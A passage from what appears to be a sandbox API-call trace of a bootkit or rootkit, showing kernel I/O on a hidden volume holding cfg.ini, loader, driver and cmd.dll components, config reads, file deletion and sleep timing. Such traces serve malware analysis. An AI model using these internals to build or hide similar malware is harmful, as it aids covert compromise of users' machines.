ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.604] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.604] IdePortDispatch () returned 0x103 [0119.604] KeWaitForMutexObject () returned 0x0 [0119.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.604] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.604] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.604] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.604] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.604] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda920 [0119.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.604] KeLeaveCriticalRegion () [0119.604] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.604] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.604] KeEnterCriticalRegion () [0119.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.604] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.604] KeLeaveCriticalRegion () [0119.604] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.604] KeEnterCriticalRegion () [0119.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.605] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.605] IdePortDispatch () returned 0x103 [0119.605] KeWaitForMutexObject () returned 0x0 [0119.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.605] KeLeaveCriticalRegion () [0119.605] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.605] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.605] KeEnterCriticalRegion () [0119.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.605] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db8000 [0119.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.605] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.605] IdePortDispatch () returned 0x103 [0119.605] KeWaitForMutexObject () returned 0x0 [0119.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.605] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.605] IdePortDispatch () returned 0x103 [0119.605] KeWaitForMutexObject () returned 0x0 [0119.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.606] KeLeaveCriticalRegion () [0119.606] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.606] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.606] KeEnterCriticalRegion () [0119.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.606] KeLeaveCriticalRegion () [0119.606] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.606] KeEnterCriticalRegion () [0119.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.606] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.606] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.606] KeLeaveCriticalRegion () [0119.606] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.606] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.606] KeEnterCriticalRegion () [0119.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.606] ExFreePoolWithTag (P=0xfffffa8003bda920, Tag=0x0) [0119.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.606] KeLeaveCriticalRegion () [0119.606] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.606] ReleaseMutex (hMutex=0xf0) returned 1 [0119.607] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.607] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.607] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.607] KeEnterCriticalRegion () [0119.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.607] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.607] IdePortDispatch () returned 0x103 [0119.607] KeWaitForMutexObject () returned 0x0 [0119.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.607] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.607] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.607] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.607] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.607] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1f10 [0119.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.607] KeLeaveCriticalRegion () [0119.607] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.607] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.607] KeEnterCriticalRegion () [0119.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.607] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.607] KeLeaveCriticalRegion () [0119.607] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.607] KeEnterCriticalRegion () [0119.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.607] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.607] IdePortDispatch () returned 0x103 [0119.607] KeWaitForMutexObject () returned 0x0 [0119.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.608] KeLeaveCriticalRegion () [0119.608] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.608] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.608] KeEnterCriticalRegion () [0119.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.608] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db9000 [0119.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.608] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.608] IdePortDispatch () returned 0x103 [0119.608] KeWaitForMutexObject () returned 0x0 [0119.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.608] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.608] IdePortDispatch () returned 0x103 [0119.608] KeWaitForMutexObject () returned 0x0 [0119.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.608] KeLeaveCriticalRegion () [0119.608] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.609] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.609] KeEnterCriticalRegion () [0119.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.609] KeLeaveCriticalRegion () [0119.609] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.609] KeEnterCriticalRegion () [0119.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.609] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.609] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.609] KeLeaveCriticalRegion () [0119.609] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.609] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.609] KeEnterCriticalRegion () [0119.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.609] ExFreePoolWithTag (P=0xfffffa8003aa1f10, Tag=0x0) [0119.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.609] KeLeaveCriticalRegion () [0119.609] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.609] ReleaseMutex (hMutex=0xf0) returned 1 [0119.609] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.609] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.609] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.609] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.609] KeEnterCriticalRegion () [0119.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.610] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.610] IdePortDispatch () returned 0x103 [0119.611] KeWaitForMutexObject () returned 0x0 [0119.611] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.611] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.611] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.611] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.611] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.611] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.611] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.611] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.611] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.611] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.611] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.611] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.611] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.611] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.611] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.611] KeLeaveCriticalRegion () [0119.611] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.611] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.611] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.612] KeEnterCriticalRegion () [0119.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.612] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.612] IdePortDispatch () returned 0x103 [0119.612] KeWaitForMutexObject () returned 0x0 [0119.612] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.612] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.612] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.612] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.612] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.612] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.612] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.612] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.612] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.612] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.612] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.612] KeLeaveCriticalRegion () [0119.612] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.612] ReleaseMutex (hMutex=0x100) returned 1 [0119.612] Sleep (dwMilliseconds=0x2bf20) [0119.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a7ec750, dwHighDateTime=0x1d24fa4)) [0119.618] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.618] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.618] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.618] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.619] KeEnterCriticalRegion () [0119.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.619] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.619] IdePortDispatch () returned 0x103 [0119.619] KeWaitForMutexObject () returned 0x0 [0119.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.619] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.619] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.619] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.619] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.619] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda9d0 [0119.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.619] KeLeaveCriticalRegion () [0119.619] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.619] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.619] KeEnterCriticalRegion () [0119.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.619] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.619] KeLeaveCriticalRegion () [0119.619] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.619] KeEnterCriticalRegion () [0119.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.619] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.619] IdePortDispatch () returned 0x103 [0119.619] KeWaitForMutexObject () returned 0x0 [0119.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.620] KeLeaveCriticalRegion () [0119.620] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.620] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.620] KeEnterCriticalRegion () [0119.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.620] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbc000 [0119.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.620] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.620] IdePortDispatch () returned 0x103 [0119.620] KeWaitForMutexObject () returned 0x0 [0119.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: 